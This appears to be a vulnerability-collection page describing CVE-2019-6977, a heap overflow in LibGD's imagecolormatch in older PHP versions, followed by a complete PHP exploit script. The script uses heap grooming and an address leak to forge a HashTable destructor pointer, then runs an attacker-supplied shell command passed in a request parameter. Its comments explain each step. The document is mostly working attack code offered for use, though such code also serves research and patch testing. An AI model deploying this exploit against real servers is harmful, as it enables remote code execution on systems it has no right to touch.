gdImageColorMatch in gd_color_match.c in the GD Graphics Library (aka LibGD) 2.2.5, as used in the imagecolormatch function in PHP before 5.6.40, 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x before 7.3.1, has a heap-based buffer overflow. This can be exploited by an attacker who is able to trigger imagecolormatch calls with crafted image data.
漏洞影响
PHP before 5.6.40, 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x before 7.3.1
<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 7.2.12
#
/*
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
for (x=0; x<im1->sx; x++) {
for( y=0; y<im1->sy; y++ ) {
color = im2->pixels[y][x];
rgb = im1->tpixels[y][x];
bp = buf + (color * 5);
(*(bp++))++;
*(bp++) += gdTrueColorGetRed(rgb);
*(bp++) += gdTrueColorGetGreen(rgb);
*(bp++) += gdTrueColorGetBlue(rgb);
*(bp++) += gdTrueColorGetAlpha(rgb);
}
The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);
*/
#
# The bug allows us to increment 5 longs located after buf in memory.
# The first long is incremented by one, others by an arbitrary value between 0
# and 0xff.
#
error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);
class Nenuphar extends DOMNode
{
# Add a property so that std.properties is created
function __construct()
{
$this->x = '1';
}
# Define __get
# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
# => zend_object_properties_size() == 0
# => sizeof(intern) == 0x50
function __get($x)
{
return $this->$x;
}
}
class Nenuphar2 extends DOMNode
{
function __construct()
{
$this->x = '2';
}
function __get($x)
{
return $this->$x;
}
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$p+$s-1;$j>=$p;$j--)
{
$address <<= 8;
$address |= ord($str[$j]);
}
return $address;
}
# Spray stuff so that we get concurrent memory blocks
for($i=0;$i<100;$i++)
${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);
#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#
# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;
# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);
$img2 = imagecreate(1, 1);
# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);
imagesetpixel($img2, 0, 0, $nb_colors + 1);
# Create a memory layout as such:
# [z: zend_string: 0x200]
# [x: zend_string: 0x200]
# [y: zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);
# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[] : 0x200]
# [x: zend_string: 0x200]
# [y: zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);
# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free: 0x200] <-+
# [x: zend_string: 0x200] |
# [free: 0x200] --+
unset($y);
# We can read those bytes because x's size has been increased
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str(0) .
# Bucket arData
ptr2str($z_address + 0x38) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(1, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
ptr2str(0x4242424242424242) .
# dtor_func_t pDestructor
ptr2str(hexdec($_REQUEST['f'])) .
str_pad($_REQUEST['c'], 0x100, "\x00") .
ptr2str(0, strlen($y) - 0x38 - 0x100);
;
# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.
#
# #2: Read Nenuphar.std.properties
#
# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
# and not -0x10.
#
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
# means code execution since at the end of the script, every element of an HT is
# destroyed by calling ht.pDestructor(ht.arData[i]).
# Hence, we want to change the $nenuphar.std.properties pointer.
#
# To proceed, we first read $nenuphar.std.properties, and then increment it
# by triggering the bug several times, until
# $nenuphar.std.properties == $z_address
#
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
# std.properties pointer, we trigger the bug more times, until
# $nenuphar.std.ce == $nenuphar2.std.ce2
#
# This way, $nenuphar will have an arbitrary std.properties pointer, and its
# std.ce will be valid.
#
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
# and therefore call our arbitrary function.
#
# Here we want fastbins of size 0x50 to match dom_object's size
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;
$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# Second value (Green) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();
imagesetpixel($img2, 0, 0, $nb_colors);
# Unsetting the first string so that buf takes its place
unset($y);
# Trigger the bug: $x's size is increased by 0xFF
imagecolormatch($img1, $img2);
$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");
if(
$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
$z_address - $props_address < 0
)
{
print('That won\'t work');
exit(0);
}
#
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
#
# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
# is also incremented by one because of (*(bp++))++;
# Therefore after we're done incrementing props_address to z_address we need
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce
# The memory structure we have ATM is OK. We can just trigger the bug again
# until Nenuphar.properties == z_address
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);
for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
imagecolormatch($img1, $img2);
$ce1_address++;
}
$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;
# Since we don't want to touch other values, only increase the first one, we set
# the three colors to 0
$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);
# Trigger the bug once to increment ce1 by one.
while($ce1_address++ < $ce2_address)
{
imagecolormatch($img1, $img2);
}
# Read the string again to see if we were successful
$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
print("\nExploit SUCCESSFUL !\n");
}
else
{
print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
print("\nExploit FAILED !\n");
}
